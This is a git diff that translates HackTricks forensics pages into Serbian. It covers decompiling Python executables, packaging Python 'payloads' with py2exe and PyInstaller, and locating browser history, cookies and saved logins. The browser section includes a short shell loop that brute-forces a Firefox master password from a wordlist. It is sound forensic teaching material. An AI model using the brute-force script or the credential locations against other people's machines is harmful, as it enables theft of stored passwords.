'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +U **python exe binarnom** fajlu možete **dobiti .pyc** pokretanjem: ```bash python pyinstxtractor.py executable.exe ``` +## Od .pyc do python koda -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Za **.pyc** podatke ("kompajlirani" python), trebali biste početi pokušavati **izvući** **originalni** **python** **kod**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Proverite** da li binarna datoteka ima **ekstenziju** "**.pyc**" (ako nema, uncompyle6 neće raditi) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Prilikom izvršavanja **uncompyle6** možda ćete naići na **sledeće greške**: +### Greška: Nepoznat broj magije 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Da biste to popravili, trebate **dodati ispravan magični broj** na početak generisanog fajla. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Magični brojevi variraju sa verzijom Python-a**, da biste dobili magični broj za **Python 3.8**, trebate **otvoriti Python 3.8** terminal i izvršiti: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +**Magični broj** u ovom slučaju za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, trebaće vam **dodati** na **početak** **.pyc fajla** sledeće bajtove: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Kada** ste **dodali** taj magični zaglavlje, **greška bi trebala biti ispravljena.** +Ovako će izgledati ispravno dodato **.pyc python3.8 magično zaglavlje**: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -91,28 +80,26 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Greška: Dekompilacija generičkih grešaka -### Error: Decompiling generic errors +**Drugačije greške** poput: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` mogu se pojaviti. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Ovo verovatno znači da **nisu pravilno dodati** magični brojevi ili da niste **koristili ispravan magični broj**, pa se uverite da koristite ispravan (ili pokušajte sa novim). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Proverite prethodnu dokumentaciju o greškama. -Check the previous error documentation. +## Automatski alat -## Automatic Tool +Alat **[python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)** predstavlja kombinaciju nekoliko alata dostupnih zajednici, namenjenih istraživačima za raspakivanje i dekompilaciju izvršnih datoteka napisanih u Pythonu, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka bazirana na Pythonu i potvrđuje alat za kreiranje. -The **[python-exe-unpacker tool](https://github.com/countercept/python-exe-unpacker)** serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Ime datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji -### ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Čest problem koji se javlja uključuje nepotpunu Python bajtkod datoteku koja proizlazi iz procesa raspakivanja sa unpy2exe ili pyinstxtractor, a zatim **nije prepoznata od strane uncompyle6 zbog nedostajućeg broja verzije Python bajtkoda**. Da bi se ovo rešilo, dodata je opcija prepend, koja dodaje potreban broj verzije Python bajtkoda, olakšavajući proces dekompilacije. +Primer problema: ```python # Error when attempting to decompile without the prepend option -test@test: uncompyle6 unpacked/malware_3.exe/archive.py +test@test: uncompyle6 unpacked/malware_3.exe/archive.py Traceback (most recent call last): ... ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist @@ -127,11 +114,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Analiza Python asembliranja -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Ako niste uspeli da izvučete "originalni" Python kod koristeći prethodne korake, možete pokušati da izvučete asembliranje (ali to nije veoma opisno, pa pokušajte ponovo da izvučete originalni kod). Na [ovom linku](https://bits.theorem.co/protecting-a-python-codebase/) sam pronašao veoma jednostavan kod za rastavljanje _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ fajl iz Python 2, koristite python2: ```bash >>> import dis >>> import marshal @@ -157,34 +142,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python u izvršnu datoteku -## Python to Executable +Da bismo započeli, pokazaćemo vam kako se payloadi mogu kompajlirati pomoću py2exe i PyInstaller alata. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle\_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Kako kreirati payload pomoću py2exe: +1. Instalirajte py2exe paket sa [http://www.py2exe.org/](http://www.py2exe.org) +2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu kao što je prikazano na slici 1. Opcija "bundle\_files" sa vrednošću 1 će sve, uključujući Python interpreter, spojiti u jednu izvršnu datoteku. +3. Kada je skripta spremna, izdajemo komandu "python setup.py py2exe". Ovo će kreirati izvršnu datoteku, kao što je prikazano na slici 2. ```python from distutils.core import setup import py2exe, sys, os @@ -192,10 +175,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -212,12 +195,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Kako napraviti payload koristeći PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Instalirajte PyInstaller koristeći pip (pip install pyinstaller). +2. Nakon toga, izdamo komandu "pyinstaller --onefile hello.py" (napomena da je 'hello.py' naš payload). Ovo će sve zapakovati u jedan izvršni fajl. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -230,27 +211,26 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Reference * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +Ako vas zanima **hakerska karijera** i hakovanje nehakabilnog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, pisano i govorno_). {% embed url="https://www.stmcyber.com/careers" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 709547f0d..a917b43fa 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,21 +1,19 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-Here you can find interesting tricks for specific file-types and/or software: +Ovde možete pronaći interesantne trikove za specifične tipove fajlova i/ili softvere: {% page-ref page=".pyc.md" %} @@ -41,16 +39,14 @@ Here you can find interesting tricks for specific file-types and/or software:
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 1db184503..c06dd0667 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,80 +1,80 @@ -# Browser Artifacts +# Artifakti pregledača
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\ +Danas dobijte pristup: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Browsers Artifacts +## Artifakti pregledača -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. +Artifakti pregledača uključuju različite vrste podataka koje čuvaju veb pregledači, kao što su istorija navigacije, obeleživači i keš podaci. Ovi artifakti se čuvaju u određenim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu u različitim pregledačima, ali uglavnom čuvajući slične vrste podataka. -Here's a summary of the most common browser artifacts: +Evo sažetka najčešćih artifakata pregledača: -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima. +- **Podaci za automatsko popunjavanje**: Predlozi na osnovu čestih pretraga, pružajući uvide kada se kombinuju sa istorijom navigacije. +- **Obeleživači**: Sajtovi koje je korisnik sačuvao radi brzog pristupa. +- **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika. +- **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu. +- **Prijave**: Sačuvani podaci za prijavljivanje. +- **Favikoni**: Ikone povezane sa veb sajtovima, prikazuju se na karticama i obeleživačima, korisne za dodatne informacije o posetama korisnika. +- **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača. +- **Preuzimanja**: Zapisi o fajlovima preuzetim putem pregledača. +- **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja. +- **Sličice**: Prikazne slike veb sajtova. +- **Custom Dictionary.txt**: Reči dodate od strane korisnika u rečnik pregledača. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox organizuje korisničke podatke unutar profila, koji se čuvaju na određenim lokacijama u zavisnosti od operativnog sistema: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +U direktorijumima se nalazi `profiles.ini` fajl koji sadrži profile korisnika. Podaci svakog profila se čuvaju u fascikli čije ime odgovara vrednosti `Path` promenljive unutar `profiles.ini`, a nalazi se u istom direktorijumu kao i sam `profiles.ini`. Ako fascikla profila nedostaje, možda je obrisana. -Within each profile folder, you can find several important files: +Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) na Windows-u mogu pristupiti podacima istorije. +- Koristite specifične SQL upite za izvlačenje informacija o istoriji i preuzimanjima. +- **bookmarkbackups**: Sadrži rezervne kopije obeleživača. +- **formhistory.sqlite**: Čuva podatke o veb obrascima. +- **handlers.json**: Upravljači protokola. +- **persdict.dat**: Reči prilagođenog rečnika. +- **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i proširenjima. +- **cookies.sqlite**: Skladište kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za pregled na Windows-u. +- **cache2/entries** ili **startupCache**: Keš podaci, dostupni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Čuva favikone. +- **prefs.js**: Korisnička podešavanja i preferencije. +- **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite. +- **thumbnails**: Sličice veb sajtova. +- **logins.json**: Šifrovani podaci za prijavljivanje. +- **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. +Dodatno, proveru postavki protiv-fisinga pregledača možete izvršiti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene. -To try to decrypt the master password, you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ -With the following script and call you can specify a password file to brute force: +Da biste pokušali dešifrovanje glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ +Pomoću sledećeg skripta i poziva možete specificirati fajl sa lozinkom za brute force: {% code title="brute.sh" %} ```bash @@ -83,8 +83,8 @@ With the following script and call you can specify a password file to brute forc #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` {% endcode %} @@ -93,113 +93,66 @@ done < $passfile ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome čuva korisničke profile na određenim lokacijama zavisno od operativnog sistema: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +U ovim direktorijumima, većina korisničkih podataka se može naći u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeći fajlovi sadrže značajne podatke: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) se može koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući korisničke klikove na linkove, unete URL-ove, podnesene forme i osvežavanje stranica. +- **Cookies**: Čuva kolačiće. Za pregled, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Cache**: Čuva keširane podatke. Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) za pregled. +- **Bookmarks**: Korisnički obeleživači. +- **Web Data**: Sadrži istoriju formi. +- **Favicons**: Čuva favicon-e veb sajtova. +- **Login Data**: Uključuje korisničke podatke za prijavljivanje kao što su korisnička imena i lozinke. +- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pretraživanja i otvorenim karticama. +- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren. +- **Extensions**: Direktorijumi za proširenja i dodatke pregledača. +- **Thumbnails**: Čuva sličice veb sajtova. +- **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i još mnogo toga. +- **Ugrađena anti-phishing zaštita pregledača**: Da biste proverili da li je anti-phishing i zaštita od malvera omogućena, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu. -## **SQLite DB Data Recovery** +## **Obnova podataka iz SQLite baze** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Kao što možete primetiti u prethodnim odeljcima, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **obnoviti obrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, olakšavajući razdvajanje čuvanih informacija i odgovarajućih detalja radi lakšeg pristupa i upravljanja. -### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other 